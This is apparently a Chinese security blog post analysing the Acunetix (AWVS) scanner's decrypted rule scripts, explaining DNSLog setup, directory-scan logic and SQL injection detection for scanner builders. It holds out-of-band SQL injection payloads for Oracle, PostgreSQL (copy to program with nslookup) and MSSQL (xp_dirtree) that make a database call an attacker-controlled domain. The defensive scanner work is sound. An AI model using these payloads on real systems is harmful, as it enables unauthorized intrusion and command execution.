最近对awvs进行一些简单研究。众所周知，awvs是非常好用的扫描器。强大的爬扫能力让很多人很喜欢它，当然，它也存在缺点：第一、体积庞大，扫描耗时间太久；第二、无法跨平台，只能让windows来用。不过这2个缺点对这个牛逼的扫描器貌似也没啥影响，很多人还是很爱用。不过对扫描器来说，其核心还是规则。我们还是可以重点分析一下awvs的扫描规则。

一个web狗，不会分析二进制。所以我只能抓包来分析了。搭建一个漏洞url地址（这里只要一个url就够了，多了payload就太多不好分析了）。用burp来抓，设置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中再设置一下扫描器使用的代理地址为burp就可以开心的抓包了。

简单的抓包，可以大体看来awvs都做哪些扫描，而且我们可以找到一些马上可以用规则，比如破壳漏洞、文件读取、备份文件扫描、敏感文件扫描、ssrf、头注入等等。

分析了一波流量，还是感觉很多payload找不到规则(比如sql注入的逻辑，jboss的漏洞匹配规则等等)。于是看了一下awvs的安装目录，发现有一个data/scripts目录，里面有很多加密的文件，不用说一定是扫描规则。

于是开始在网上找有没有人做过这个相关破解工作，发现还真有:http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/问博主要了一下规则，他就直接把规则同步到github：  https://github.com/c0ny1/awvs_script_decode这种“前人种树，后人乘凉”的感觉还是很舒服的，所以自己以后也要多种种“树”。

打开规则一看全是类似javascript的脚本，直接看还是有点难懂。如果能运行并调试起来就美滋滋了。去搜索了一下官方的关于script的文档发现，awvs提供了编写script脚本的接口。

  http://www.acunetix.com/download/tools/WVSSDK.zip

解压以后里面有一个使用文档，通过文档就明白很多了。

根据文档我们可以知道：

    1.awvs提供了wvs scripting程序给我们进行自定义的脚本编写，我们可以用它来对这些脚本进行调试，(只需要把这个文件拷贝到awvs的安装目录即可)。
    2.awvs提供了script可用api，在https://www.acunetix.com/resources/sdk/中可以进行查看。
    3.script的几个脚本目录是根据扫描的特点进行分类的：
        3.1.includes头文件，用于常量声明，生产随机数和md5加密等等，很多扫描的匹配规则会在这里定于这个文件。
        3.2.network主机的漏洞扫描，个人感觉非重点，毕竟avws是搞web扫描出名的。
        3.3.PerFile在文件名上加payload测试，比如根据文件名扫备份文件扫描，破壳漏洞扫描等，个人理解就是根据uri进行一些参数扫描。
        3.4.PerFolder 根据目录型的url进行一些扫描，比如敏感目录泄漏扫描，敏感文件泄漏扫描，git泄露扫描等。
        3.5.PerScheme awvs将有参数传递的url称为Scheme，所以这个目录就是在各个参数传入点设置扫描payload进行对应的漏洞测试。比如命令执行漏洞、代码执行漏洞、xss漏洞扫描、sql漏洞扫描等等。（我们可以在这个目录中学到很多规则和漏洞扫描姿势。）
        3.6.PerServer一般用于测试第三方中间件，包括指纹识别，只最开始扫描的时候进行一次。比如Flask_Debug打开，jboss各种漏洞，tomcat各种漏洞等。
        3.7 WebApps第三方cms漏洞扫描。比如wordpress的漏洞扫描，joolma漏洞扫描等等。

下面以/Scripts/PerFile/Bash_RCE.script作为一个调试案例：使用wvs scripting打开/Scripts/PerFile/Bash_RCE.script文件。

点击小齿轮，设置扫描目标：

这里比较蛋疼的就是不能直接输入扫描的目标（反正我没找到），需要去load一下awvs爬虫保存的.cwl文件。我们在awvs上简单爬一下扫描的目标，然后保存成xxx.cwl。再通过wvs scripting去load这个文件。

最后是运行，这里具体根据script来确定set target的什么类型，比如Bash_RCE.script，中用了var file = getCurrentFile()，你就需要set file target，最后run per file。（当然还有其他的就不再举例子了。)

到这里我们就可以跑起每个脚本进行运行调试了，能跑起来，我们就可以去logInfo一些东西，这样去看脚本都做哪些操作就简单多了。

tip: 那么我们可以一个一个目录的去分析每个脚本，当然也有一个小技巧去提前分析高危的扫描脚本。那就是先用awvs去扫一下它的测试站点：http://testphp.vulnweb.com/ ，awvs会告诉你是哪个脚本发现的漏洞和且匹配到的内容，这样我们就挑选自己最先想研究的漏洞来看。(不过要注意这个testphp测试站点，awvs默认启动了AcuSensor Technology技术：https://www.acunetix.com/vulnerability-scanner/acusensor-technology/如果你要用它做测试站点的话，代码逻辑会走到acusensor对应的代码。

awvs在扫描前，都会对url进行详细的分类和参数的解析。常见为：file、folder、scheme等类型。几乎每种类型的url都会有一个目录对它进行专门的漏洞扫描。在扫描前对url进行比较细致的分类是可以学习一波的，特别是对scheme类型的url进行参数解析。大部分的扫描都会有这部分的参数解析，不过一般都是类似于(a=b&c=1的这种解析)，但是如果参数是json格式的(b=1&c={"uname":"wilson","id":"23333"}) ，很多扫描器不支持，不过大家可以参考一下sqlmap的json格式解析(walk方法：https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/common.py)至于每种类型的url都会有一个目录对它进行专门的漏洞扫描方式的话，你也可能选择用一个脚本去处理一类漏洞类型，然后对这个漏洞类型可能在哪种url类型出现进行测试。

看到代码最大的好处就是可以看到它的匹配正则了，比如敏感部署文件备份匹配规则，任意文件读取规则，sql报错注入关键字匹配，命令执行等等。

更多规则见脚本。

https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/这东西简单理解就是和你的dnslong一样的，适用于扫描无回显的漏洞，比如：

Blind Server-side XML/SOAP Injection
Blind XSS (also referred to as Delayed XSS)
Host Header Attack
Out-of-band Remote Code Execution (OOB RCE)
Out-of-band SQL Injection (OOB SQLi)
SMTP Header Injection
Server-side Request Forgery (SSRF)
XML External Entity Injection (XXE)

我们可以在脚本中找到它们的规则：

那么重点是怎么把漏洞和对应url关联?我的处理是让漏洞服务器发起http请求，将urlid带到uri中，比如http://blog.wils0n.cn/urlid/param/cveid根据这个uri中的urlid进行定位url参数。但是这样还是会有一些漏扫，比如ssrf只出现在http的host中，uri并不会带入请求。所以比较准确的一个是使用dns来做。例如:nslookup dns.urlid-param-cveid.wils0n.cn，在服务端上根据urlid-param-cveid来处理漏洞。

关于dnslog service的搭建：

使用方法一)一个服务器
工具：https://github.com/Wyc0/DNSLog/blob/master/dns.py(简单，一个脚本就够了)
触发方法：nslookup urlid-param-cveid.wils0n.cn 服务器的ip
这种方法必须指定后面的ip。


使用方法二）一个服务器加一个域名
域名设置(请教了@izy和@凤凰)
用阿里云的为例子：
1.设置一个a记录。ns1.wils0n.cn --->你的服务ip假如 118.11.11.11
2.设置一个ns记录。 dns.wils0n.cn --->ns1.wils0n.cn 

存在的问题：

问题1）没有响应包回复，导致请求会一直发，可以参考https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py 进行改进一下。

问题2) url跳转扫描可能会导致误报的情况出现，由于dns请求会绕过很多跳，所以根据扫描ip来判断是无法做到的，暂时不知道怎么解决，不过误报会比漏报好一些。

很多web扫描器的开始都是对url进行网站目录和文件扫描，然后再结合爬虫一起爬一下。因为大家的想法都是：“不管有没有漏洞，我先扫一遍目录再说”，所以网上这种爬目录文件的工具极其多。看了一下网上的工具的逻辑大概是:

  1.取一个不可能存在的url，判断是不是存在404的状态码。
    存在的404话，下面的判断只要根据状态码来判断是否存在就好了。
    不存在的话走下面2的逻辑。

  2.获取不存在url的相应内容，作为一个404不存在的页面标示，接下去的扫描如果获取到页面不和这个404标示一样的就认为是200的存在页面。

这个思路在大部分情况下使用。但是有些站点，你会发现扫到一堆200的误报。分析为什么：

  在逻辑1中，404的判断取一个不存在的url是不够的，你需要取多个，因为有的站点xxxx.php是404，而xxxx.jsp就变成200了。
  在逻辑2中，有种情况是这个404的页面会不断变化，比如淘宝的404页面中，下面会出现不同的链接商品推荐。这样就会产生一大堆的误报。

那么我们分析一下awvs的目录和文件扫描姿势:（Backup_File.script、Sensitive_Files.script,、Possible_Sensitive_Directories 、Possible_Sensitive_Files ）

  第一）在Backup_File和Sensitive_Files中看到能用正则匹配的，先用规则来匹配，这个比较准确，误报低。
  第二) Backup_File中我们发现，awvs的在解决逻辑2中出现的问题时，用了一个小的tip:在发现页面内容和404标示不一样的时候，再去取一个不存在的url2获取新的404标示，然后判断两个标示是不是一样，一样的话说明这个200扫描没用问题，从而去掉这个误报。
  第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中，我们发现awvs去掉了逻辑2。只对存在404的url进行目录和文件扫描。而目录扫描和文件扫描的逻辑不一样的，我们发现当一个文件存在时候返回时200，但是当一个目录存在的时候却是302跳转，我们需要匹配http头的Location进行判断。那么网上那些扫描目录工具不就2b了么？
  这里要说到一个坑，这些工具都是使用了python的requests库，这个库默认是会进行url跟随跳转的。所以他们没有必要区分扫描目录和文件扫描。如果你把requests中设置了allow_redirects=False，那你就要去自己匹配http头的Location关键字。

个人感觉扫目录逻辑走第一和第三就可以了。

可能很多人都会用sqlmap来做注入检查，但是sqlmap还是有点大，扫描payload比较多，扫描时间长。awvs的sql注入也可以参考一下:

主要匹配的关键字有:

You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多可以去对应脚本里面找)

这样匹配的话，还是比较准确的，但是有的时候会有误报。

A. bool型的盲注入我把这部分的扫描逻辑理了一下，大概是这样的：

  1.判断参数是不是有效的，即：输入和原来的值不一样的参数时候，页面(过滤过的，过滤了html标签，当前输入值，原始输入值)是否一样
  2.如果参数有效，就用 and payload 判断是不是存在漏洞(多个判断)
  3.如果参数无效，就用 or payload 判断是不是存在漏洞(多个判断)
  
  我参考以后，发现它会有一些漏扫描，比如数字型等带有单引号的注入。
  然后我决定优化一下，并去掉第三步的验证。因为一般都无有效参数的，无效的参数一般不做检查了，而且or注入可能会导致一些误报等。

B. 基于时间盲注入原理很简单，然后数据库去sleep一段时间。payload对应脚本里面找，或者可以参考一下sqlmap的。

然后就是注意各种闭合，比如: ', ", ), )), '), "), ')), ")), ;, 等等。

个人实践告诉我，基于时间的注入检查是最准确的。如果你是甲方的话，基于时间盲注入应该是最适合你的了。因为你可以去监控mysql的慢日志或者异常日志去查询sleep登关键字来结合着一起发现sql注入漏洞，我在实践中是有用这种方法发现过一些比较隐蔽的sql注入的。

测试oracle的注入:

xxxx||UTL_INADDR.get_host_address('{DOMAIN}')

PostgreSQL:

{ORIGVALUE};copy (select '') to program 'nslookup {DOMAIN}

windows +mssql:

{ORIGVALUE};EXEC master..xp_dirtree '\\{DOMAIN}\' -- 

同样，也要注意各种闭合。

xxe漏洞检测，改变Content-type头（text/xml，application/xml），可能会测出漏洞。

  .......

 很多挺好玩的漏洞扫描知识，基于文章篇幅和时间精力问题就没有进行更多分析了，大家可以去找自己感觉好用的script进行debug和逻辑分析。分析到好的思路也可以分享出来看看。  

请勿用本文提到的技术进行未授权的渗透测试，我们不负任何连带法律责任。  

• http://www.acunetix.com/

• http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/

• http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/

延伸阅读

KNN算法检测异常操作行为（文末有福利~）

Typecho SSRF漏洞分析与利用

golang之TCP开发

更多技术分享

请关注MLSRC公众号